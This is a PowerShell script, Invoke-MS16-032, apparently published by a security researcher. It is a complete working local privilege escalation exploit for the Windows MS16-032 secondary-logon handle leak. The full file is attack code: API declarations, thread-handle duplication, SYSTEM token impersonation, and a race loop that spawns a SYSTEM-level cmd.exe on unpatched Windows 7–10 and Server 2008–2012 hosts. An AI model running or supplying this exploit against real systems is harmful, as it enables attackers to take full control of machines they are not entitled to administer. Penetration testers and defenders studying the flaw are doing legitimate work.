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function Invoke-MS16-032 { <# .SYNOPSIS PowerShell implementation of MS16-032. The exploit targets all vulnerable operating systems that support PowerShell v2+. Credit for the discovery of the bug and the logic to exploit it go to James Forshaw (@tiraniddo). Targets: * Win7-Win10 & 2k8-2k12 <== 32/64 bit! * Tested on x32 Win7, x64 Win8, x64 2k12R2 Notes: * In order for the race condition to succeed the machine must have 2+ CPU cores. If testing in a VM just make sure to add a core if needed mkay. * Want to know more about MS16-032 ==> https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html .DESCRIPTION Author: Ruben Boonen (@FuzzySec) Blog: http://www.fuzzysecurity.com/ License: BSD 3-Clause Required Dependencies: PowerShell v2+ Optional Dependencies: None .EXAMPLE C:\PS> Invoke-MS16-032 #> Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct SQOS { public int Length; public int ImpersonationLevel; public int ContextTrackingMode; public bool EffectiveOnly; } public static class Advapi32 { [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithLogonW( String userName, String domain, String password, int logonFlags, String applicationName, String commandLine, int creationFlags, int environment, String currentDirectory, refSTARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool SetThreadToken( ref IntPtr Thread, IntPtr Token); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenThreadToken( IntPtr ThreadHandle, int DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenProcessToken( IntPtr ProcessHandle, int DesiredAccess, ref IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public extern static bool DuplicateToken( IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); } public static class Kernel32 { [DllImport("kernel32.dll")] public static extern uint GetLastError(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentThread(); [DllImport("kernel32.dll", SetLastError=true)] public static extern int GetThreadId(IntPtr hThread); [DllImport("kernel32.dll", SetLastError = true)] public static extern int GetProcessIdOfThread(IntPtr handle); [DllImport("kernel32.dll",SetLastError=true)] public static extern int SuspendThread(IntPtr hThread); [DllImport("kernel32.dll",SetLastError=true)] public static extern int ResumeThread(IntPtr hThread); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool TerminateProcess( IntPtr hProcess, uint uExitCode); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool DuplicateHandle( IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, int dwDesiredAccess, bool bInheritHandle, int dwOptions); } public static class Ntdll { [DllImport("ntdll.dll", SetLastError=true)] public static extern int NtImpersonateThread( IntPtr ThreadHandle, IntPtr ThreadToImpersonate, ref SQOS SecurityQualityOfService); } "@ function Get-ThreadHandle { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS $lpTargetHandle = [IntPtr]::Zero $CallResult = [Kernel32]::DuplicateHandle( $ProcessInfo.hProcess, 0x4, [Kernel32]::GetCurrentProcess(), [ref]$lpTargetHandle, 0, $false, 0x00000002) # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) $lpTargetHandle } function Get-SystemToken { echo "<code>n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)" $CallResult = [Kernel32]::SuspendThread($hThread) if ($CallResult -ne 0) { echo "[!] $hThread is a bad thread, exiting.." Return } echo "[+] Thread suspended" echo "[>] Wiping current impersonation token" $CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero) if (!$CallResult) { echo "[!] SetThreadToken failed, exiting.." $CallResult = [Kernel32]::ResumeThread($hThread) echo "[+] Thread resumed!" Return } echo "[>] Building SYSTEM impersonation token" # SecurityQualityOfService struct $SQOS = New-Object SQOS $SQOS.ImpersonationLevel = 2 #SecurityImpersonation $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) # Undocumented API's, I like your style Microsoft ;) $CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos) if ($CallResult -ne 0) { echo "[!] NtImpersonateThread failed, exiting.." $CallResult = [Kernel32]::ResumeThread($hThread) echo "[+] Thread resumed!" Return } # Null $SysTokenHandle $script:SysTokenHandle = [IntPtr]::Zero # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE $CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle) if (!$CallResult) { echo "[!] OpenThreadToken failed, exiting.." $CallResult = [Kernel32]::ResumeThread($hThread) echo "[+] Thread resumed!" Return } echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" echo "[+] Resuming thread.." $CallResult = [Kernel32]::ResumeThread($hThread) } # main() <--- ;) $ms16032 = @" __ __ ___ ___ ___ ___ ___ ___ |V|_|_| |_|___| |_|_| | |_|_| |_| . |___| | |_|_| |_|_|_|___|_____|___| |___|___|___| [by b33f -> @FuzzySec] "@ $ms16032 # Check logical processor count, race condition requires 2+ echo "</code>n[?] Operating system core count: $([System.Environment]::ProcessorCount)" if ($([System.Environment]::ProcessorCount) -lt 2) { echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!<code>n" Return } echo "[>] Duplicating CreateProcessWithLogonW handle" $hThread = Get-ThreadHandle # If no thread handle is captured, the box is patched if ($hThread -eq 0) { echo "[!] No valid thread handle was captured, exiting!</code>n" Return } else { echo "[?] Done, using thread handle: $hThread" } echo "<code>n[*] Sniffing out privileged impersonation token.." # Get handle to SYSTEM access token Get-SystemToken # If we fail a check in Get-SystemToken, exit if ($SysTokenHandle -eq 0) { Return } echo "</code>n[*] Sniffing out SYSTEM shell.." echo "<code>n[>] Duplicating SYSTEM token" $hDuplicateTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) # Simple PS runspace definition echo "[>] Starting token race" $Runspace = [runspacefactory]::CreateRunspace() $StartTokenRace = [powershell]::Create() $StartTokenRace.runspace = $Runspace $Runspace.Open() [void]$StartTokenRace.AddScript({ Param ($hThread, $hDuplicateTokenHandle) while ($true) { $CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle) } }).AddArgument($hThread).AddArgument($hDuplicateTokenHandle) $AscObj = $StartTokenRace.BeginInvoke() echo "[>] Starting process race" # Adding a timeout (10 seconds) here to safeguard from edge-cases $SafeGuard = [diagnostics.stopwatch]::StartNew() while ($SafeGuard.ElapsedMilliseconds -lt 10000) { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) #--- # Make sure CreateProcessWithLogonW ran successfully! If not, skip loop. #--- # Missing this check used to cause the exploit to fail sometimes. # If CreateProcessWithLogon fails OpenProcessToken won't succeed # but we obviously don't have a SYSTEM shell :'( . Should be 100% # reliable now! #--- if (!$CallResult) { continue } $hTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) # If we can't open the process token it's a SYSTEM shell! if (!$CallResult) { echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!</code>n" $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) $StartTokenRace.Stop() $SafeGuard.Stop() Return } # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) } # Kill runspace & stopwatch if edge-case $StartTokenRace.Stop() $SafeGuard.Stop() } |
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